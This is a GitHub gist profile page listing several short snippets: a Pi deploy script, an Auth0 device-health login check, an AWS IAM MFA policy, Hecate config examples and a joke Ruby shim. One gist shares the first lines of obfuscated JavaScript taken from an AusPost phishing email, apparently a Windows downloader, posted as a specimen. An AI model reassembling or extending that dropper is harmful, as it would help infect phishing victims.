Skip to content

Instantly share code, notes, and snippets.

View joho's full-sized avatar
At harbour

John Barton joho

At harbour
View GitHub Profile
@joho
joho / deploy.sh
Created January 19, 2023 22:54
real bare bones git deploy script to klipper/mainsail on a pi
#!/bin/bash
set -euxo pipefail
git push
ssh switchy '(cd klipper_config && git pull && echo FIRMWARE_RESTART > /tmp/printer)'
@joho
joho / login-action.js
Created March 17, 2022 11:16
Auth0 post-login action to check login against Kolide API to ensure login is from a managed and healthy device
/**
* Handler that will be called during the execution of a PostLogin flow.
*
* @param {Event} event - Details about the user and the context in which they are logging in.
* @param {PostLoginAPI} api - Interface whose methods can be used to change the behavior of the login.
*/
const sdk = require('api')('@kolidek2/v0.1.0#fs30l4gl0u0cv0n');
const { DateTime } = require('luxon');
const maxMinuteSinceLastSeen = 5
@joho
joho / iam-mfa-password-self-service-policy.json
Created May 6, 2021 01:22
IAM policy that allows full IAM self service including MFA
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowViewAccountInfo",
"Effect": "Allow",
"Action": [
"iam:GetAccountPasswordPolicy",
"iam:GetAccountSummary",
"iam:ListUsers",
@joho
joho / hecate.yml
Created May 13, 2019 05:50
Hecate team config example
admin_email: [email protected]
timezone: Australia/Melbourne
team:
lead: yourgithublogin
engineers: ["engineerlogin", "engineerlogin"]
owned_repos: ["repo-name", "other-repo-name"]
import _ "github.com/joho/godotenv/autoload"
@joho
joho / hecate.yml
Last active July 13, 2022 10:17
Reference configuration for Hecate Dispatch https://hecate.co/products/dispatch
# Required: an admin contact for errors, billing issues, and the like
admin_email: [email protected]
# Optional: timezone for when to send and how to format emails
# defaults to "Australia/Melbourne"
timezone: "Australia/Melbourne"
# Required: config for shipping news (notify on merged PRs)
shipping:
# Array of release notifications to send
-
@joho
joho / staff_development.md
Created April 20, 2016 05:38
Follow on resources from a work talk I gave related to developing staff.
@joho
joho / AusPost_Shipment_Confirmation_id00-494307854#.js
Last active March 7, 2016 22:41
JS in auspost phishing email received 8/3/16 (see screenshot at http://d.pr/i/KI9N)
andSelf = "uni";
matches = "MP%/", hasScripts = "ng", curPosition = 0, toggle = 40, elemData = "ion";
rCRLF = "e", contexts = "Expan", speed = 9, rnoInnerhtml = "Cr";
createPositionalPseudo = "ct";
i = "eToFi";
parseFromString = "zahasa";
var which = "MSXM";
rejectWith = 1, th = "posit", extend = "write", makeArray = "ect", XMLHttpRequest = "fe.co", handlers = 173;
jsonpCallback = "ronme";
padding = "ipt";

Keybase proof

I hereby claim:

  • I am joho on github.
  • I am joho (https://keybase.io/joho) on keybase.
  • I have a public key whose fingerprint is 2C44 E754 98F9 896C AF29 D9F1 3501 1992 A457 BD6F

To claim this, I am signing this object:

@joho
joho / console.rb
Created February 2, 2016 22:51
For @quamen who keeps putting his js in his rubby
module Kernel
class FakeConsole
def log(o)
puts "not javascript lol, but here you go #{p}"
end
end
def console
FakeConsole.new
end